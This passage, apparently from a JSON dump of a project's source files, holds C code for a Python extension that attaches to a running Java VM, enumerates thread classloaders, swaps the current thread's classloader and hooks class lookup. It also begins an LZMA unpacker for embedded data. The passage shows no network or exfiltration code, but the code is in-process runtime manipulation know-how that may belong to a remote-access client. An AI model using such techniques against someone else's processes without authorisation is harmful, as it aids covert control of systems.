((*env)->ExceptionCheck(env)) {\n        PyErr_SetString(jvm_error, \"java/lang/Thread class not found\");\n        return JNI_ERR;\n    }\n\n    dprint(\"ctx->Thread: %p\\n\", ctx->Thread);\n\n    ctx->Class = (*env)->FindClass(env, \"java/lang/Class\");\n    if ((*env)->ExceptionCheck(env)) {\n        PyErr_SetString(jvm_error, \"java/lang/Class class not found\");\n        return JNI_ERR;\n    }\n\n    dprint(\"ctx->Class: %p\\n\", ctx->Class);\n\n    ctx->getName = (*env)->GetMethodID(env, ctx->Thread, \"getName\", \"()Ljava/lang/String;\");\n    if ((*env)->ExceptionCheck(env)) {\n        PyErr_SetString(jvm_error, \"getName method not found\");\n        return JNI_ERR;\n    }\n\n    dprint(\"ctx->getName: %p\\n\", ctx->getName);\n\n    ctx->getContextClassLoader = (*env)->GetMethodID(\n        env, ctx->Thread, \"getContextClassLoader\", \"()Ljava/lang/ClassLoader;\");\n    if ((*env)->ExceptionCheck(env)) {\n        PyErr_SetString(jvm_error, \"getContextClassLoader method not found\");\n        return JNI_ERR;\n    }\n\n    dprint(\"ctx->getContextClassLoader: %p\\n\", ctx->getContextClassLoader);\n\n    ctx->forName = (*env)->GetStaticMethodID(\n        env, ctx->Class, \"forName\", \"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;\");\n    if ((*env)->ExceptionCheck(env)) {\n        PyErr_SetString(jvm_error, \"forName method not found\");\n        return JNI_ERR;\n    }\n\n    dprint(\"ctx->getContextClassLoader: %p\\n\", ctx->forName);\n\n    dprint(\"__j_ClassLoader %p\\n\", __j_ClassLoader);\n\n    ctx->getClass = (*env)->GetMethodID(env, __j_ClassLoader, \"getClass\", \"()Ljava/lang/Class;\");\n    if ((*env)->ExceptionCheck(env)) {\n        PyErr_SetString(jvm_error, \"getClass method not found\");\n        return JNI_ERR;\n    }\n\n    dprint(\"__j_ClassLoader - getClass: %p\\n\", __j_ClassLoader, ctx->getClass);\n\n    ctx->getClassName = (*env)->GetMethodID(env, ctx->Class, \"getName\", \"()Ljava/lang/String;\");\n    if ((*env)->ExceptionCheck(env)) {\n        PyErr_SetString(jvm_error, \"getName (Class) method not found\");\n        return JNI_ERR;\n    }\n\n    if (__preferred_loadable_class) {\n        ctx->prefferedName = (*env)->NewStringUTF(env, __preferred_loadable_class);\n        if ((*env)->ExceptionCheck(env)) {\n            PyErr_SetString(jvm_error, \"NewStringUTF failed\");\n            return JNI_ERR;\n        }\n    } else {\n        ctx->prefferedName = NULL;\n    }\n\n    ctx->payload = NULL;\n\n    return JNI_OK;\n}\n\nstatic\nPyObject * Py_get_JVM(PyObject *self, PyObject *args) {\n    if  (!__jvm) {\n        PyErr_SetString(jvm_error, \"JVM was not loaded yet\");\n        return NULL;\n    }\n\n    return PyCapsule_New(__jvm, \"JVM\", NULL);\n}\n\ntypedef jint (*thread_enum_cb)(JNIEnv *env, jobject Thread, void *data);\n\nstatic jint jvm_for_each_thread(JNIEnv *env, thread_enum_cb callback, void *data) {\n    jint retval = JNI_ERR;\n    void *penv = NULL;\n    jclass Thread;\n    jclass ThreadArray;\n    jint active_threads;\n    jmethodID method_activeCount;\n    jmethodID method_enumerate;\n    jint i;\n    jobject iThread;\n\n    if (__jvm == NULL) {\n        dprint(\"jvm_enumerate_thread_classloaders - __jvm is not initialized\\n\");\n        return JNI_EEXIST;\n    }\n\n    if (env == NULL) {\n        retval = (*__jvm)->GetEnv(__jvm, &penv,      JNI_VERSION_1_6);\n        if (retval != JNI_OK)\n            return retval;\n\n        env = penv;\n    }\n\n    Thread = (*env)->FindClass(env, \"java/lang/Thread\");\n    if ((*env)->ExceptionCheck(env)) {\n        dprint(\"java/lang/Thread not found\\n\");\n        return JNI_ERR;\n    }\n\n    ThreadArray = (*env)->FindClass(env, \"[Ljava/lang/Thread;\");\n    if ((*env)->ExceptionCheck(env)) {\n        dprint(\"[java/lang/Thread not found\\n\");\n        return JNI_ERR;\n    }\n\n    method_activeCount = (*env)->GetStaticMethodID(env, Thread, \"activeCount\", \"()I\");\n    if ((*env)->ExceptionCheck(env)) {\n        dprint(\"activeCount method not found\\n\");\n        return JNI_ERR;\n    }\n\n    method_enumerate = (*env)->GetStaticMethodID(env, Thread, \"enumerate\", \"([Ljava/lang/Thread;)I\");\n    if ((*env)->ExceptionCheck(env)) {\n        dprint(\"enumerate method not found\\n\");\n        return JNI_ERR;\n    }\n\n    active_threads = (*env)->CallIntMethod(env, Thread, method_activeCount);\n    if ((*env)->ExceptionCheck(env)) {\n        dprint(\"activeCount() call failed\\n\");\n        return JNI_ERR;\n    }\n\n    dprint(\"Active threads: %d\\n\", active_threads);\n\n    ThreadArray = (*env)->NewObjectArray(env, active_threads, Thread, NULL);\n    if ((*env)->ExceptionCheck(env)) {\n        dprint(\"new Thread[%d] failed\\n\", active_threads);\n        return JNI_ERR;\n    }\n\n    active_threads = (*env)->CallIntMethod(env, Thread, method_enumerate, ThreadArray);\n    if ((*env)->ExceptionCheck(env)) {\n        dprint(\"enumerate() call failed\\n\");\n        return JNI_ERR;\n    }\n\n    dprint(\"enumerate() return %d threads\\n\", active_threads);\n\n    for (i=0; i<active_threads; i++) {\n        dprint(\"enumerate() - process %d thread\\n\", i);\n        iThread = (*env)->GetObjectArrayElement(env, ThreadArray, i);\n        if ((*env)->ExceptionCheck(env)) {\n            dprint(\"enumerate(): get %d element of array list failed\\n\", i);\n            return JNI_ERR;\n        }\n\n        dprint(\"enumerate() - process %d thread - class at %p, callback at %p\\n\",\n            i, iThread, callback);\n\n        retval = callback(env, iThread, data);\n\n        dprint(\"enumerate() - retval: %d\\n\");\n\n        if (retval != JNI_OK) {\n            return retval;\n        }\n    }\n\n    return JNI_OK;\n}\n\nstatic jint __thread_class_loader_name_and_class(\n    JNIEnv *env, struct __thread_name_and_classloader_to_dict_ctx *ctx, jobject thread,\n    char **name, jobject *classloader) {\n\n    const char *utfchars = NULL;\n    jobject threadContextLoader;\n    jobject threadContextLoaderClass;\n    jobject threadContextLoaderClassName;\n\n    dprint(\"__thread_class_loader_name_and_class: 1 %p, %p\\n\", thread, ctx->getContextClassLoader);\n    threadContextLoader = (*env)->CallObjectMethod(env, thread, ctx->getContextClassLoader);\n    dprint(\"__thread_class_loader_name_and_class: 1.1\\n\");\n    if ((*env)->ExceptionCheck(env)) {\n        dprint(\"Thread.getContextClassLoader() failed\\n\");\n        return JNI_ERR;\n    }\n\n    dprint(\"__thread_class_loader_name_and_class: 2\\n\");\n    if (threadContextLoader != NULL) {\n            dprint(\"__thread_class_loader_name_and_class: 3\\n\");\n\n        threadContextLoaderClass = (*env)->CallObjectMethod(env, threadContextLoader, ctx->getClass);\n        if ((*env)->ExceptionCheck(env)) {\n            dprint(\"ContextLoader.getClass() failed\\n\");\n            return JNI_ERR;\n        }\n\n        dprint(\"__thread_class_loader_name_and_class: 4\\n\");\n\n        threadContextLoaderClassName = (*env)->CallObjectMethod(env, threadContextLoaderClass, ctx->getClassName);\n        if ((*env)->ExceptionCheck(env)) {\n            dprint(\"Class.getName() failed\\n\");\n            return JNI_ERR;\n        }\n\n        dprint(\"__thread_class_loader_name_and_class: 4\\n\");\n\n        utfchars = (*env)->GetStringUTFChars(env, threadContextLoaderClassName, NULL);\n        if ((*env)->ExceptionCheck(env)) {\n            PyErr_SetString(jvm_error, \"Could not extract string from Java String\");\n            return JNI_ERR;\n        }\n        if (name)\n            *name = strdup(utfchars);\n\n        if (classloader)\n            *classloader = threadContextLoader;\n    } else {\n        if (name)\n            *name = strdup(\"{{ bootstrap }}\");\n\n        if (classloader)\n            *classloader = NULL;\n    }\n\n    dprint(\"__thread_class_loader_name_and_class: 5\\n\");\n    return JNI_OK;\n}\n\n\nstatic jint __find_preferred_classloader_finder(JNIEnv *env, jobject thread, void *data) {\n    struct __thread_name_and_classloader_to_dict_ctx *ctx = data;\n\n    jint err = JNI_ERR;\n    jobject threadName = NULL;\n    jobject classLoader = NULL;\n    char *classLoaderName = NULL;\n    jclass loadedClass = NULL;\n\n    if (ctx->payload != NULL) {\n        return JNI_OK;\n    }\n\n    dprint(\"__find_preferred_classloader_finder - get thread name using %p..\\n\", ctx->getName);\n\n    threadName = (*env)->CallObjectMethod(env, thread, ctx->getName);\n    if ((*env)->ExceptionCheck(env)) {\n        dprint(\"Thread.getName() failed\\n\");\n        return JNI_ERR;\n    }\n\n    dprint(\"__find_preferred_classloader_finder - threadName:  %p..\\n\", threadName);\n\n    err = __thread_class_loader_name_and_class(env, ctx, thread, &classLoaderName, &classLoader);\n    if (err != JNI_OK) {\n        return err;\n    }\n\n    dprint(\"__find_preferred_classloader_finder: class loader name: %s\\n\", classLoaderName);\n\n    if (__preferred_classloader_name) {\n        dprint(\"__find_preferred_classloader_finder: __preferred_classloader_name = %s\\n\",\n            __preferred_classloader_name);\n    }\n\n    if (__preferred_classloader_name && __preferred_classloader_name[0] != '\\0' &&\n        !strcmp(classLoaderName, __preferred_classloader_name)) {\n        ctx->payload = classLoader;\n    } else {\n        // Try to findLoadedClass\n        // Ignore result. If no exception, then classLoader can load requested\n        // class\n\n        if (ctx->prefferedName != NULL && classLoader != NULL) {\n            loadedClass = (*env)->CallStaticObjectMethod(\n                env, ctx->Class, ctx->forName, ctx->prefferedName, JNI_TRUE, classLoader);\n            if ((*env)->ExceptionCheck(env) == JNI_OK) {\n                if (loadedClass) {\n                    dprint(\"Found classLoader for class %s: %s\\n\",\n                        __preferred_loadable_class, classLoaderName);\n                    ctx->payload = classLoader;\n                } else {\n                    dprint(\"Class %s could not be resolved with %s (%p)\\n\",\n                        __preferred_loadable_class, classLoaderName, classLoader);\n                }\n            } else {\n                dprint(\"Class %s could not be resolved with %s (%p)\\n\",\n                    __preferred_loadable_class, classLoaderName, classLoader);\n                (*env)->ExceptionClear(env);\n            }\n        }\n    }\n\n    free(classLoaderName);\n    return JNI_OK;\n}\n\n\nstatic jobject __find_preferred_classloader(JNIEnv *env) {\n    struct __thread_name_and_classloader_to_dict_ctx ctx;\n\n    if (!__jvm) {\n        dprint(\"JVM is not initialized yet\\n\");\n        return NULL;\n    }\n\n    if (__j_preferred_classloader != NULL)\n        return __j_preferred_classloader;\n\n    if (!((__preferred_classloader_name != NULL && __preferred_classloader_name[0] != '\\0') ||\n            (__preferred_loadable_class != NULL && __preferred_loadable_class[0] != '\\0')))\n        goto lbDefault;\n\n    dprint(\"Search for preferred classloader\\n\");\n\n    if (Py_new__thread_name_and_classloader_to_dict_ctx(env, &ctx) != JNI_OK)\n        goto lbDefault;\n\n    if (jvm_for_each_thread(env, __find_preferred_classloader_finder, &ctx) != JNI_OK)\n        goto lbError;\n\n    if (ctx.payload) {\n        dprint(\"Found preferred classloader\\n\");\n        __j_preferred_classloader = (*env)->NewGlobalRef(env, (jobject) ctx.payload);\n        return __j_preferred_classloader;\n    }\n\n  lbError:\n    dprint(\"Couldn't find preferred classloader, use cached default\\n\");\n\n  lbDefault:\n    return __j_initial_classloader;\n}\n\nstatic\nPyObject * Py_get_PreferredClassLoader(PyObject *self, PyObject *args) {\n    jobject classloader = NULL;\n    JNIEnv *env = NULL;\n    PyObject *PyJNIEnv = NULL;\n\n    if (__j_preferred_classloader != NULL)\n        return PyCapsule_New(\n            __j_preferred_classloader, \"PreferredClassLoader\", NULL);\n\n    if (!PyArg_ParseTuple(args, \"O\", &PyJNIEnv)) {\n        return NULL;\n    }\n\n    env = PyCapsule_GetPointer(PyJNIEnv, \"JNIEnv\");\n    if (env == NULL) {\n        return NULL;\n    }\n\n    classloader = __find_preferred_classloader(env);\n    if (classloader == NULL)\n        return NULL;\n\n    return PyCapsule_New(classloader, \"PreferredClassLoader\", NULL);\n}\n\nstatic jclass get_thread_class(JNIEnv *env) {\n    jclass Thread;\n\n    env = Py_get_jni_env(env);\n    if (env == NULL)\n        return NULL;\n\n    Thread = (*env)->FindClass(env, \"java/lang/Thread\");\n    if ((*env)->ExceptionCheck(env)) {\n        dprint(\"java/lang/Thread not found\\n\");\n        return NULL;\n    }\n\n    return Thread;\n}\n\nstatic jint call_method(\n    JNIEnv *env, jclass klass, jobject instance,\n    jboolean is_static, const char *method,\n    const char *signature, jobject *result, va_list a_list) {\n\n    jmethodID method_id;\n    jint retcode = JNI_ERR;\n    jobject retval = NULL;\n\n    if (is_static == JNI_TRUE) {\n        method_id = (*env)->GetStaticMethodID(\n            env, klass, method, signature);\n    } else {\n        method_id = (*env)->GetMethodID(\n            env, klass, method, signature);\n    }\n\n    if ((*env)->ExceptionCheck(env)) {\n        dprint(\n            \"call_method: method %s with signature %s not found\\n\",\n            method, signature);\n        goto lbExit;\n    }\n\n    if (is_static) {\n        retval = (*env)->CallStaticObjectMethodV(\n            env, klass, method_id, a_list);\n    } else {\n        retval = (*env)->CallObjectMethodV(\n            env, instance, method_id, a_list);\n    }\n    if ((*env)->ExceptionCheck(env)) {\n        dprint(\"call_method: call  failed\\n\", method);\n        goto lbExit;\n    }\n\n    if (result != NULL) {\n        *result = retval;\n    }\n\n    retcode = JNI_OK;\n\n  lbExit:\n    return retcode;\n}\n\nstatic jint call_class_method(\n    JNIEnv *env, jclass klass, const char *method,\n    const char *signature, jobject *result, ...) {\n\n    jint ret;\n\n    va_list a_list;\n    va_start(a_list, result);\n\n    ret = call_method(\n        env, klass, NULL, JNI_TRUE, method,\n        signature, result, a_list\n    );\n\n    va_end(a_list);\n\n    return ret;\n}\n\nstatic jint call_instance_method(\n    JNIEnv *env, jobject instance, const char *method,\n    const char *signature, jobject *result, ...) {\n\n    jint ret = JNI_ERR;\n    jclass klass;\n\n    va_list a_list;\n    va_start(a_list, result);\n\n    klass = (*env)->GetObjectClass(env, instance);\n    if ((*env)->ExceptionCheck(env)) {\n        dprint(\n            \"call_method: could not retrieve class of %p\\n\",\n            instance);\n        goto lbExit;\n    }\n\n    ret = call_method(\n        env, klass, instance, JNI_FALSE,\n        method, signature, result, a_list\n    );\n\n    va_end(a_list);\n\n  lbExit:\n    return ret;\n}\n\nstatic PyObject* Py_JString_to_PyString(JNIEnv *env, jobject jstr) {\n    const char *utfchars = (*env)->GetStringUTFChars(env, jstr, NULL);\n    PyObject *result;\n\n    if ((*env)->ExceptionCheck(env)) {\n        PyErr_SetString(jvm_error, \"Could not extract string from Java String\");\n        return NULL;\n    }\n\n    if (utfchars == NULL) {\n        result = PyUnicode_FromString(\"\");\n    } else {\n        result = PyUnicode_FromString(utfchars);\n    }\n\n    (*env)->ReleaseStringUTFChars(env, jstr, utfchars);\n\n    return result;\n}\n\nstatic jint __thread_name_and_classloader_to_dict(JNIEnv *env, jobject thread, void *data) {\n    struct __thread_name_and_classloader_to_dict_ctx *ctx = data;\n\n    jint err;\n    jobject threadName;\n    jobject classLoader;\n    char *classLoaderName;\n\n\n    PyObject *Py_threadName = NULL;\n    PyObject *Py_classLoaderName = NULL;\n\n    threadName = (*env)->CallObjectMethod(env, thread, ctx->getName);\n    if ((*env)->ExceptionCheck(env)) {\n        dprint(\"Thread.getName() failed\\n\");\n        return JNI_ERR;\n    }\n\n    err = __thread_class_loader_name_and_class(env, ctx, thread, &classLoaderName, &classLoader);\n    if (err != JNI_OK) {\n        return err;\n    }\n\n    Py_classLoaderName = PyUnicode_FromString(classLoaderName);\n    free(classLoaderName);\n\n    if (Py_classLoaderName == NULL) {\n        return JNI_ENOMEM;\n    }\n\n    Py_threadName = Py_JString_to_PyString(env, threadName);\n    if (Py_threadName == NULL) {\n        Py_DECREF(Py_classLoaderName);\n        return JNI_ERR;\n    }\n\n    if (PyDict_SetItem((PyObject *) ctx->payload, Py_threadName, Py_classLoaderName) != 0) {\n        Py_DECREF(Py_threadName);\n        Py_DECREF(Py_classLoaderName);\n        return JNI_ERR;\n    }\n\n    return JNI_OK;\n}\n\n// Search classloaders by threads\nstatic\nPyObject *Py_enumerate_threads_classloaders(PyObject *self, PyObject *args) {\n    struct __thread_name_and_classloader_to_dict_ctx ctx;\n    jint retval;\n\n    JNIEnv *env = Py_get_jni_env(NULL);\n    if (env == NULL) {\n        return NULL;\n    }\n\n    if (Py_new__thread_name_and_classloader_to_dict_ctx(env, &ctx) != JNI_OK) {\n        return NULL;\n    }\n\n    ctx.payload = (void*) PyDict_New();\n    if (ctx.payload == NULL) {\n        PyErr_SetString(jvm_error, \"Couldn't create new dict\");\n        return NULL;\n    }\n\n    retval = jvm_for_each_thread(env, __thread_name_and_classloader_to_dict, &ctx);\n    if (retval != JNI_OK) {\n        Py_DECREF((PyObject *) ctx.payload);\n        PyErr_SetString(jvm_error, \"Error during threads enumeration\");\n        return NULL;\n    }\n\n    return (PyObject*) ctx.payload;\n}\n\n\nstatic\nPyObject *Py_set_preferred_classloader_name(PyObject *self, PyObject *args) {\n    char *new_classloader_name = NULL;\n    JNIEnv *env = NULL;\n\n    if (!PyArg_ParseTuple(args, \"s\", &new_classloader_name)) {\n        return NULL;\n    }\n\n    if (__preferred_classloader_name != NULL) {\n        free(__preferred_classloader_name);\n        __preferred_classloader_name = NULL;\n    }\n\n    if (__j_preferred_classloader != NULL) {\n        env = Py_get_jni_env(NULL);\n        if (env == NULL)\n            return NULL;\n        (*env)->DeleteGlobalRef(env, __j_preferred_classloader);\n        __j_preferred_classloader = NULL;\n    }\n\n    if (new_classloader_name != NULL && new_classloader_name[0] != '\\0') {\n        __preferred_classloader_name = strdup(new_classloader_name);\n    }\n\n    if (__preferred_classloader_name)\n        return PyUnicode_FromString(__preferred_classloader_name);\n\n    return Py_BuildValue(\"\");\n}\n\nstatic\nPyObject *Py_set_preferred_loadable_class(PyObject *self, PyObject *args) {\n    JNIEnv* env;\n    char *new_loadable_class = NULL;\n\n    if (!PyArg_ParseTuple(args, \"s\", &new_loadable_class)) {\n        return NULL;\n    }\n\n    if (__preferred_loadable_class != NULL) {\n        free(__preferred_loadable_class);\n        __preferred_loadable_class = NULL;\n    }\n\n    if (__j_preferred_classloader != NULL) {\n        env = Py_get_jni_env(NULL);\n        if (env == NULL)\n            return NULL;\n        (*env)->DeleteGlobalRef(env, __j_preferred_classloader);\n        __j_preferred_classloader = NULL;\n    }\n\n    if (new_loadable_class != NULL && new_loadable_class[0] != '\\0') {\n        __preferred_loadable_class = strdup(new_loadable_class);\n    }\n\n    if (__preferred_loadable_class)\n        return PyUnicode_FromString(__preferred_loadable_class);\n\n    return Py_BuildValue(\"\");\n}\n\nstatic\nPyObject *Py_get_preferred_classloader_name(PyObject *self, PyObject *args) {\n    if (__preferred_classloader_name != NULL)\n        return PyUnicode_FromString(__preferred_classloader_name);\n\n    return Py_BuildValue(\"\");\n}\n\nstatic\nPyObject *Py_get_preferred_loadable_class(PyObject *self, PyObject *args) {\n    if (__preferred_loadable_class != NULL)\n        return PyUnicode_FromString(__preferred_loadable_class);\n\n    return Py_BuildValue(\"\");\n}\n\nstatic\nPyObject *Py_set_ClassLoader(PyObject *self, PyObject *args) {\n    JNIEnv *env = NULL;\n    jobject classloader = NULL;\n    jobject currentThread = NULL;\n    jobject retval;\n    jclass Thread = NULL;\n    jint ret;\n\n    if (__jvm == NULL) {\n        PyErr_SetString(jvm_error, \"JVM was not loaded yet\");\n        return NULL;\n    }\n\n    env = Py_get_jni_env(NULL);\n    if (!env)\n        return NULL;\n\n    dprint(\"Get Thread's JNIEnv: %p\\n\", env);\n\n    classloader = __find_preferred_classloader(env);\n    if (classloader == NULL) {\n        PyErr_SetString(\n            jvm_error, \"Preferred classloader was not found\");\n        return NULL;\n    }\n\n    dprint(\"Initial: JVM: %p, ClassLoader: %p\\n\", __jvm, classloader);\n\n    Thread = get_thread_class(env);\n    if (Thread == NULL) {\n        PyErr_SetString(jvm_error, \"Could not find Thread class\");\n        return NULL;\n    }\n\n    dprint(\"Get Thread class: %p\\n\", Thread);\n\n    ret = call_class_method(\n        env, Thread, \"currentThread\", \"()Ljava/lang/Thread;\",\n        &currentThread);\n    if (ret != JNI_OK) {\n        PyErr_SetString(jvm_error, \"Could not find current JVM Thread\");\n        return NULL;\n    }\n\n    dprint(\"Get current thread: %p\\n\", currentThread);\n\n    ret = call_instance_method(\n        env, currentThread, \"setContextClassLoader\", \"(Ljava/lang/ClassLoader;)V\",\n        &retval, classloader);\n\n    if (ret != JNI_OK) {\n        PyErr_SetString(jvm_error, \"Iteration failed\");\n        return NULL;\n    }\n\n    return PyBool_FromLong(1);\n}\n\n\nstatic jclass JNICALL __multi_FindClass(JNIEnv *env, const char *name) {\n    jclass result = NULL;\n    jstring className = NULL;\n\n    dprint(\n        \"FindClass called (ICL: %p PCL: %p)\\n\",\n        __j_initial_classloader, __j_preferred_classloader\n    );\n\n    if (__j_preferred_classloader || __j_initial_classloader) {\n        dprint(\n            \"Classloaders: Preferred: %p Initial: %p\\n\",\n            __j_preferred_classloader, __j_initial_classloader);\n\n        className = (*env)->NewStringUTF(env, name);\n        if ((*env)->ExceptionCheck(env)) {\n            dprint(\"FindClass mapping failed for %s\\n\", name);\n            return NULL;\n        }\n        dprint(\"Search %s (mapped as %p)\\n\", name, className);\n    }\n\n    if (className) {\n        if (__j_preferred_classloader) {\n            result = (*env)->CallObjectMethod(\n                env, __j_preferred_classloader, __j_ClassLoader_findClass, className);\n\n            dprint(\"Search using preferred classloader: %s -> %p\\n\", name, result);\n\n            if ((*env)->ExceptionCheck(env)) {\n                dprint(\"Hooked PreferredClassloader->FindClass(%s) - failed\\n\", name);\n                (*env)->ExceptionClear(env);\n                result = NULL;\n            }\n\n            if (result != NULL) {\n                dprint(\"Return %p\\n\", result);\n                return result;\n            }\n        }\n\n        if (__j_initial_classloader) {\n            result = (*env)->CallObjectMethod(\n                env, __j_initial_classloader, __j_ClassLoader_findClass, className);\n\n            dprint(\"Search using initial classloader: %s -> %p\\n\", name, result);\n\n            if ((*env)->ExceptionCheck(env)) {\n                dprint(\"Hooked InitialClassloader->FindClass(%s) - failed\\n\", name);\n                (*env)->ExceptionClear(env);\n                result = NULL;\n            }\n\n            if (result != NULL) {\n                dprint(\"Return %p\\n\", result);\n                return result;\n            }\n        }\n    }\n\n    dprint(\"Fallback to bootstrap classloader for %s\\n\", name);\n    return (*env)->FindClass(env, name);\n}\n\nstatic\nPyObject *Py_find_class(PyObject *self, PyObject *args) {\n    PyObject *PyJNIEnv;\n    JNIEnv *env;\n    char *class_name;\n    jclass result;\n\n    if (!PyArg_ParseTuple(args, \"Os\", &PyJNIEnv, &class_name)) {\n        return NULL;\n    }\n\n    env = PyCapsule_GetPointer(PyJNIEnv, \"JNIEnv\");\n    if (env == NULL) {\n        return NULL;\n    }\n\n    result = __multi_FindClass(env, class_name);\n    if (result == NULL)\n        return Py_BuildValue(\"\");\n\n    return PyCapsule_New(result, \"Class\", NULL);\n}\n\nstatic PyMethodDef JVM_Methods[] = {\n    { \"get_jvm\", Py_get_JVM, METH_NOARGS, DOC(\"Get pointer to JVM\") },\n    { \"find_class\", Py_find_class, METH_VARARGS, DOC(\"Call hinted FindClass\") },\n    { \"get_preferred_classloader\", Py_get_PreferredClassLoader,\n      METH_VARARGS, DOC(\"Get pointer to initializer thread's ClassLoader\") },\n    { \"set_preferred_classloader_name\", Py_set_preferred_classloader_name,\n      METH_VARARGS, DOC(\"Class name of required default classloader\") },\n    { \"get_preferred_classloader_name\", Py_get_preferred_classloader_name,\n      METH_NOARGS, DOC(\"Get current class name of requried default classloader\") },\n    { \"set_preferred_loadable_class\", Py_set_preferred_loadable_class,\n      METH_VARARGS, DOC(\"Class name of class which required classloader should be able to load\") },\n    { \"get_preferred_loadable_class\", Py_get_preferred_loadable_class,\n      METH_NOARGS, DOC(\"Get current class name of class which required classloader should be able to load\") },\n    { \"enumerate_threads_classloaders\", Py_enumerate_threads_classloaders,\n      METH_NOARGS, DOC(\"Get dict of thread names and names of their classloaders\") },\n    { \"apply_preferred_classloader\", Py_set_ClassLoader, METH_NOARGS,\n      DOC(\"initializer thread's ClassLoader to current thread\") },\n    { NULL, NULL },\t\t/* Sentinel */\n};\n/*\nstatic struct PyModuleDef JvmModuleDef =\n{\n    PyModuleDef_HEAD_INIT,\n    \"jvm\", \n    jvm_module_doc, \n    -1,   \n    JVM_Methods\n};\n*/\nvoid setup_jvm_class(void) {\n    /*PyObject *jvm_klass = PyModule_Create(&JvmModuleDef);\n    if (!jvm_klass) {\n        return NULL;\n    }\n\n    jvm_error = PyErr_NewException(\"jvm.error\", NULL, NULL);\n    Py_INCREF(jvm_error);\n    PyModule_AddObject(jvm_klass, \"error\", jvm_error);\n    */\n    dprint(\"NOT IMPLEMENTED: broken jvm setup\\n\");\n    return NULL;\n}\n\nstatic\nvoid __jni_deinit(int status, void *data) {\n    dprint(\"JVM deinitialization\\n\");\n\n    if (__jvm == NULL)\n        return;\n\n    // Do nothing for now\n}\n\nJNIEXPORT jint JNICALL\nJNI_OnLoad(JavaVM *vm, void *reserved) {\n    jclass Thread;\n    jobject classLoader;\n    JNIEnv* env;\n    jobject currentThread;\n    jint ret;\n    JavaVMAttachArgs args;\n\n    if (!vm) {\n        return 0;\n    }\n\n    dprint(\"JVM provided: %p\\n\", vm);\n\n    __jvm = vm;\n\n    ret = (*vm)->GetEnv(vm, &env,  JNI_VERSION_1_6);\n    if (ret != JNI_OK) {\n        if (ret == JNI_EDETACHED) {\n            dprint(\"JVM Attach required\\n\");\n            ret = (*vm)->AttachCurrentThread(vm, &env, (void *)&args);\n            if (ret == JNI_OK) {\n                dprint(\"Attached to JVM: %s ver %08x\\n\", args.name, args.version);\n            }\n        }\n\n        if (ret != JNI_OK) {\n            dprint(\"Failed to get JNIEnv: %d\\n\", ret);\n            return JNI_ERR;\n        }\n    }\n\n    Thread = get_thread_class(env);\n    if (Thread == NULL) {\n        return JNI_ERR;\n    }\n\n    ret = call_class_method(\n        env, Thread, \"currentThread\", \"()Ljava/lang/Thread;\",\n        &currentThread);\n    if (ret != JNI_OK) {\n        return ret;\n    }\n\n    dprint(\"Current Thread: %p\\n\", currentThread);\n\n    ret = call_instance_method(\n        env, currentThread, \"getContextClassLoader\", \"()Ljava/lang/ClassLoader;\",\n        &classLoader);\n    if (ret != JNI_OK) {\n        return ret;\n    }\n\n    dprint(\"Current Thread ClassLoader: %p\\n\", classLoader);\n\n    __j_initial_classloader = (*env)->NewGlobalRef(env, classLoader);\n    if ((*env)->ExceptionCheck(env)) {\n        dprint(\"NewGlobalRef failed\");\n        __j_initial_classloader = NULL;\n        return JNI_ENOMEM;\n    }\n\n    dprint(\"New global ref to Current Thread ClassLoader: %p\\n\", __j_initial_classloader);\n\n    __j_ClassLoader = (*env)->FindClass(env, \"java/lang/ClassLoader\");\n    if ((*env)->ExceptionCheck(env)) {\n        PyErr_SetString(jvm_error, \"java/lang/ClassLoader class not found\");\n        return JNI_ERR;\n    }\n\n    __j_ClassLoader = (*env)->NewGlobalRef(env, __j_ClassLoader);\n\n    dprint(\"Cache ClassLoader class: %p\\n\", __j_ClassLoader);\n\n    __j_ClassLoader_findClass = (*env)->GetMethodID(\n        env, __j_ClassLoader, \"findClass\", \"(Ljava/lang/String;)Ljava/lang/Class;\");\n    if ((*env)->ExceptionCheck(env)) {\n        PyErr_SetString(jvm_error, \"findClass method not found\");\n        return JNI_ERR;\n    }\n\n    dprint(\"Cache ClassLoader.findClass methodId: %p\\n\", __j_ClassLoader_findClass);\n\n#ifndef _WIN32\n    on_exit(__jni_deinit, NULL);\n#endif\n\n    return JNI_VERSION_1_6;\n}\n"
  },
  {
    "path": "client/common/lzmaunpack.c",
    "content": "\n/* --- Code for inlining --- */\n\n#ifndef UNCOMPRESSED\n#include \"LzmaDec.h\"\n\n#ifdef _WIN32\n#define ALLOC(x) VirtualAlloc(NULL, x, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)\n#define FREE(x, size) VirtualFree(x, 0, MEM_RELEASE)\n#define INVALID_ALLOC NULL\n#else\n#include <sys/mman.h>\n#define ALLOC(size) mmap(NULL, size + (4096 - size%4096), PROT_WRITE\t\\\n                         | PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n#define FREE(x, size) munmap(x, size + (4096 - size%4096))\n#define INVALID_ALLOC MAP_FAILED\n#endif\n\nstatic void *_lzalloc(void *p, size_t size) { p = p; return malloc(size); }\nstatic void _lzfree(void *p, void *address) { p = p; free(address); }\nstatic ISzAlloc _lzallocator = { _lzalloc, _lzfree };\n#define lzmafree(x, size) do { FREE(x, size);}  while (0)\n\n#else\n#define lzmafree(x, size) do {} while (0)\n#endif\n\n\nstatic unsigned int charToUInt(const char *data) {\n    union {\n      unsigned int l;\n      unsigned char c[4];\n    } x;\n\n    x.c[3] = data[0];\n    x.c[2] = data[1];\n    x.c[1] = data[2];\n    x.c[0] = data[3];\n\n    return x.l;\n}\n\nstatic void *lzmaunpack(const char *data, size_t size, Py_ssize_t *puncompressed_size) {\n    unsigned char *uncompressed = NULL;\n    SizeT uncompressed_size = 0;\n\n#ifndef UNCOMPRESSED\n    const Byte *wheader = (Byte *) data + sizeof(unsigned int);\n    const Byte *woheader = (Byte *) wheader + LZMA_PROPS_SIZE;\n\n    ELzmaStatus status;\n\n    size_t srcLen;\n    int res;\n#endif\n\n    uncompressed_size = charToUInt(data);\n    dprint(\"lzmaunpack(%s, %d) -> expected size = %d\\n\", data, size, uncompressed_size);\n\n#ifndef UNCOMPRESSED\n    uncompressed = ALLOC(uncompressed_size);\n    if (uncompressed == INVALID_ALLOC) {\n        return NULL;\n    }\n\n    srcLen = size - sizeof(unsigned int) - LZMA_PROPS_SIZE;\n\n    res = LzmaDecode(\n        uncompressed, &uncompressed_size, woheader, &srcLen, wheader,\n        LZMA_PROPS_SIZE, LZMA_FINISH_ANY, &status, &_lzallocator\n    );\n\n    if (res != SZ_OK) {\n        FREE(uncompressed, uncompressed_size);\n        return NULL;\n    